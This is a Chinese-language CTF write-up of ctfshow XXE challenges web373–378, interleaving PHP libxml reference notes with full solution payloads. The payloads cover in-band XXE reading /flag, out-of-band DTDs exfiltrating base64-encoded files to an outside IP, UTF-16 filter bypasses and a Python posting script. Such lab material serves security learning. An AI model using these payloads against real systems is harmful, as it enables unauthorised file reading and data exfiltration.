by 和音 :::info libxml2.9.1及以后,默认不解析外部实体 :::
参考资料
https://www.w3school.com.cn/xml/index.asp
https://www.w3school.com.cn/dtd/index.asp
实体引用
ctfshow-XXE篇
ctfshow web入门-XXE
相关函数
libxml_disable_entity_loader
(PHP 5 >= 5.2.11, PHP 7)
libxml_disable_entity_loader - 禁用加载外部实体的功能
:::warning
本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数
:::
描述
bool libxml_disable_entity_loader ([ bool $disable = true ] )
参数
禁用(TRUE)或启用(FALSE)libxml扩展(如DOM,XMLWriter和XMLReader)来加载外部实体。
返回值
扩展内容
- libxml_use_internal_errors() - 禁用libxml错误并允许用户根据需要获取错误信息
 
simplexml_import_dom
(PHP 5, PHP 7, PHP 8)
simplexml_import_dom - 从DOM节点获取SimpleXMLElement对象
描述
SimpleXMLElement simplexml_import_dom ( DOMNode $node [, string $class_name = "SimpleXMLElement" ] )
这个函数接受一个DOM文档的一个节点,并将其放入一个SimpleXML节点中。这个新的对象可以被用作本地的SimpleXML元素。
参数
node   
一个DOM元素节点class_name   
您可以使用这个可选参数,以便simplexml_import_dom()将返回指定类的对象。该类应该扩展SimpleXMLElement类。
返回值
返回一个SimpleXMLElement或失败时返回FALSE。
警告
此函数可能会返回布尔FALSE,但也可能会返回一个非布尔值,其值为FALSE。 有关更多信息,请阅读布尔部分。 使用===运算符来测试此函数的返回值。
例子
示例#1 导入DOM
<?php$dom = new DOMDocument;$dom->loadXML('<books><book><title>blah</title></book></books>');if (!$dom) {echo 'Error while parsing the document';exit;}$s = simplexml_import_dom($dom);echo $s->book[0]->title;
上面的例子将输出:
blah
扩展内容
- dom_import_simplexml() - 从SimpleXMLElement对象中获取DOMElement对象
 
DOMDocument::loadXML
(PHP 5, PHP 7)
DOMDocument::loadXML — 从一个字符串中加载XML
说明
public DOMDocument::loadXML ( string $source , int $options = 0 ) : DOMDocument|bool
参数
source
包含XML的字符串
options
Bitwise OR of the libxml option constants
返回值
成功时返回 true, 或者在失败时返回 false。如果是静态调用,返回一个 DOMDocument 或者在失败时返回 false
错误/异常
如果一个空的字符串被传递为源,将产生一个警告。这个警告不是由 libxml 产生的,不能用 libxml 的错误处理函数来处理。
此方法可以被静态调用,但会抛出一个 E_STRICT 错误。
范例
Example #1 Creating a Document
<?php$doc = new DOMDocument();$doc->loadXML('<root><node/></root>');echo $doc->saveXML();
Example #2 Static invocation of loadXML
<?php// Issues an E_STRICT error$doc = DOMDocument::loadXML('<root><node/></root>');echo $doc->saveXML();
PHP libxml 常量
| 函数 | 描述 | 注意 | 
|---|---|---|
| LIBXML_COMPACT | 设置小型节点分配优化。会改善应用程序的性能 | |
| LIBXML_DTDATTR | 设置默认 DTD 属性 | |
| LIBXML_DTDLOAD | 加载外部子集 | |
| LIBXML_DTDVALID | 通过 DTD 进行验证 | |
| LIBXML_NOBLANKS | 删除空节点 | |
| LIBXML_NOCDATA | 把 CDATA 设置为文本节点 | |
| LIBXML_NOEMPTYTAG | 更改空标签(比如  改为 ) 仅在 DOMDocument->save() 和 DOMDocument->saveXML() 函数中可用  | 
|
| LIBXML_NOENT | 替代实体 | 启用实体替换可能会为XML外部实体(XXE)攻击提供便利 | 
| LIBXML_NOERROR | 不显示错误报告 | |
| LIBXML_NONET | 在加载文档时停止网络访问 | |
| LIBXML_NOWARNING | 不显示警告报告 | |
| LIBXML_NOXMLDECL | 在保存文档时,撤销 XML 声明 | |
| LIBXML_NSCLEAN | 删除额外的命名空间声明 | |
| LIBXML_XINCLUDE | 使用 XInclude 置换 | |
| LIBXML_ERR_ERROR | 获得可恢复的错误 | |
| LIBXML_ERR_FATAL | 获得致命错误 | |
| LIBXML_ERR_NONE | 获得无错误 | |
| LIBXML_ERR_WARNING | 获得简单警告 | |
| LIBXML_VERSION | 获得 libxml 版本(例如:20605 或 20617) | |
| LIBXML_DOTTED_VERSION | 获得有点号的 libxml 版本(例如:2.6.5 或 2.6.17) | 
web373
<?phperror_reporting(0);libxml_disable_entity_loader(false); //启用加载外部实体$xmlfile = file_get_contents('php://input');if(isset($xmlfile)){$dom = new DOMDocument(); //创建一个DOMDocument对象$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //加载xml文件 LIBXML_NOENT:启用XML字符实体引用的替代$creds = simplexml_import_dom($dom); //把 DOM 节点转换为 SimpleXMLElement 对象$ctfshow = $creds->ctfshow;echo $ctfshow;}highlight_file(__FILE__);
题目给出源码,一个有回显的文件读取漏洞
HackBar提交POST数据,方式选择urlencoded(raw)
还可以用burp抓包提交
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///flag">]><Glan><ctfshow>&xxe;</ctfshow></Glan>
:::warning
有回显的XXE:关键函数simplexml_import_dom,需要在Payload加上xml版本,否则无法正常解析
<?xml version=”1.0” encoding=”UTF-8”?>
:::
Web374
<?phperror_reporting(0);libxml_disable_entity_loader(false);$xmlfile = file_get_contents('php://input');if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);}highlight_file(__FILE__);
无回显的文件读取,需要进行外带
服务器新建一个test.dtd文件,内容如下:
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://119.91.205.51:9999/%file;'> ">%dtd;%xxe;
开启文件服务
python3 -m http.Server 9999
然后在浏览器用POST方式提交数据(最后一行可省略)
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY % aaa SYSTEM "http://119.91.205.51:9999/test.dtd">%aaa;]><Glan>123</Glan>
服务器可以看到被外带出来的flag数据,使用base64解码即可
Web375
<?phperror_reporting(0);libxml_disable_entity_loader(false);$xmlfile = file_get_contents('php://input');if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){die('error');}if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);}highlight_file(__FILE__);
无回显的文件读取,且禁用了版本号,和上面一样进行外带不写版本号即可
也可以在<?xml之后加个空格绕过,即<?xml  version="1.0" encoding="UTF-8"?>
服务器上新建test.dtd(同上一题),开启文件服务,然后在浏览器提交以下POST数据
<!DOCTYPE test [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY % aaa SYSTEM "http://119.91.205.51:9999/test.dtd">%aaa;]>
Web376
<?phperror_reporting(0);libxml_disable_entity_loader(false);$xmlfile = file_get_contents('php://input');if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){die('error');}if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);}highlight_file(__FILE__);
XML大小写敏感,所以解题方法同上。
<!DOCTYPE test [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY % aaa SYSTEM "http://119.91.205.51:9999/test.dtd">%aaa;]>
不过好像对于XML的数据部分并没有大小写敏感的限制,比如上面的http可大写
服务器上新建test.dtd(同上一题),开启文件服务,然后在浏览器提交以下POST数据
Web377
<?phperror_reporting(0);libxml_disable_entity_loader(false);$xmlfile = file_get_contents('php://input');if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){die('error');}if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);}highlight_file(__FILE__);
无回显的文件读取,且禁用了版本号和http,和上面一样进行外带不写版本号改成利用 utf-16 编码即可
脚本如下:
import requestsurl = 'http://12722cda-57f3-45cf-91f9-4ae4866eda68.challenge.ctf.show/'payload = """<!DOCTYPE test [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY % aaa SYSTEM "http://119.91.205.51:9999/test.dtd">%aaa;]>"""payload = payload.encode('utf-16')requests.post(url,data=payload)
Web378
提示是python xxe,登陆界面抓个包
可以看到是通过xml提交数据的,直接XXE注入即可
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///flag" >]><user><username>&xxe;</username><password>bbb</password></user>
